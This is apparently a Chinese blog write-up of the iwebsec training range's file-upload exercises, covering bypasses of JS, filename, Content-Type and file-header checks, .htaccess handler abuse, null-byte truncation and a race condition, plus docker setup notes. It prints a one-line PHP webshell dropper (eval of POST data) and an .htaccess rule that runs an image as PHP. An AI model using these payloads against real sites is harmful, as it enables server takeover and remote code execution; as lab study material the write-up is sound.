iwebsec--文件上传

文件上传漏洞

01-前端JS过滤绕过

在这里插入图片描述

        function checkFile() {
            var file = document.getElementsByName('upfile')[0].value;
            if (file == null || file == "") {
                alert("你还没有选择任何文件,不能上传!");
                return false;
            }
            //定义允许上传的文件类型
            var allow_ext = ".jpg|.jpeg|.png|.gif|.bmp|";
            //提取上传文件的类型
            var ext_name = file.substring(file.lastIndexOf("."));
            //alert(ext_name);
            //alert(ext_name + "|");
            //判断上传文件类型是否允许上传
            if (allow_ext.indexOf(ext_name + "|") == -1) {
                var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
                alert(errMsg);
                return false;
            }
        }

代码审计:允许上传的文件类型.jpg|.jpeg|.png|.gif|.bmp|,没有php,的后缀名
在这里插入图片描述
上传一个.jpg
在这里插入图片描述

02-文件名过滤绕过

在这里插入图片描述
在这里插入图片描述
修改文件后缀muma1.jpg,找到路径
在这里插入图片描述
在这里插入图片描述
上传成功

03-Content-Type过滤绕过

在这里插入图片描述
把原来的content-type修改为image/jpeg
在这里插入图片描述

04-文件头过滤绕过

在这里插入图片描述
头部添加GIF89a
在这里插入图片描述

05-.htaccess文件上传

.htaccess是伪静态文件,代码中包含将muma4.jpg解析为php,能过被中间件所识别运行

<FilesMatch "muma4.jpg">
SetHandler application/x-httpd-php
</FilesMatch>  

在这里插入图片描述

06-文件截断上传

由于00代表结束符,所以会把00后面的所有字段删除
截断条件:php版本小于5.4.3,并且PHP中的magic_quotes_gpc为OFF状态
把整个文件名muma5.php换成muma5.php%001.jpg
在这里插入图片描述
成功上传
在这里插入图片描述
这里出现软件的问题并没又连接成功,%00编码==》转换为url编码,知道大体思路就行

07-条件竞争文件上传

网站是允许任意上传文件的,如果包含WebShell脚本,则立刻删除,当muma6.php执行的时候,就会立刻生成shell.php,虽然muma6.php会被删除,但是纯在一个短的时间差,执行检查文件和删除文件,这时shell.php上传成功

<?php 
fputs(fopen('../shell.php','w'),'<?php @eval($_POST[muma])?>');
?>
  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
iwebsec靶场是一个漏洞集成容器,其中集成了大量的web漏洞环境,包括SQL注入、文件包含、命令执行、XXE、反序列化、SSRF、XSS、文件上传等常见的漏洞环境。\[1\] 要搭建iwebsec靶场,可以使用docker来运行容器。可以使用以下命令来启动靶场并将宿主机的8001端口映射给iwebsec靶场的80服务: docker run --restart=always --name iwebsec -it -dp 8001:80 iwebsec/iwebsec \[2\] 这样每次启动靶场时,都会自动运行,并且宿主机的8001端口会映射给靶场的80服务。 需要注意的是,iwebsec靶场还包含一些漏洞渗透,如redis数据库漏洞和MySQL数据库漏洞。如果需要进行渗透测试,需要将iwebsec靶场中的redis服务端口号和MySQL服务端口号映射到主机端口中。可以使用以下命令来查找iwebsec的配置文件: find / -name iwebsec_info.md \[3\] #### 引用[.reference_title] - *1* [Web安全 iwebsec 靶场搭建.](https://blog.csdn.net/weixin_54977781/article/details/130341391)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* *3* [iwebsec靶场搭建](https://blog.csdn.net/mooyuan/article/details/128031434)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值